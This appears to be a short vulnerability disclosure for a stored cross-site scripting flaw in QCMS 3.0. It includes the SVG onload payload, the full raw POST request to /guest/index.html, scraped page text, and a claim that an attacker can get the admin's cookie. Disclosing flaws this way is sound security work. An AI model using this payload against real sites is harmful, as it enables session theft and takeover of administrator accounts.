

# Qcms version 3.0 has xss via the title parameter to the /guest/index.html URI

set xss payload `<svg/onload=alert(0)>` to the title parameter in `/guest/index.html`, when admin user confirm this feedback in admin page there is alert box, attacker can get admin's cookie.

localhost/guest/index.html

— 111

test 2018-03-12 11:11:11

客户留言

标题

姓名

邮箱

内容

提交留言

关于 QCMS网站管理系统 3.0 服务条款 隐私权保护

Copyright © 2008 - 2014 QCMS Inc. All Rights Reserved

壹易科技 版权所有

```
POST /guest/index.html HTTP/1.1
Host: localhost
Content-Length: 92
Cache-Control: max-age=0
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
DNT: 1
Referer: http://localhost/guest/index.html
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESS49960de5880e8c687434170f6476605b=KyZyx79ethBmvgssXcM6DudjHnnYxkfiw-86SorC64c; ly_main_nav_limit=15; lang=zh-cn; theme=default; bdshare_firsttime=1519799317252;
```

Connection: close

title=%3Csvg%2Fonload%3Dalert%28%27qcms%27%29%3E&name=test&email=test%40test.t&content=test

111 - 后台管理

localhost/backend/guest.html

QCMS建站系统

后台管理

系统设置

分类管理

新闻列表

产品列表

相册列表

下载管理

留言管理

用户管理

扩展管理

安全退出

欢迎 admin 回来！

前台地址

系统设置

安全退出

localhost 显示:

qcms

确定

后台首页

留言管理

留言列表

I	#	标题	姓名	
<input type="checkbox"/>	2		test	111@qq.co

批量删除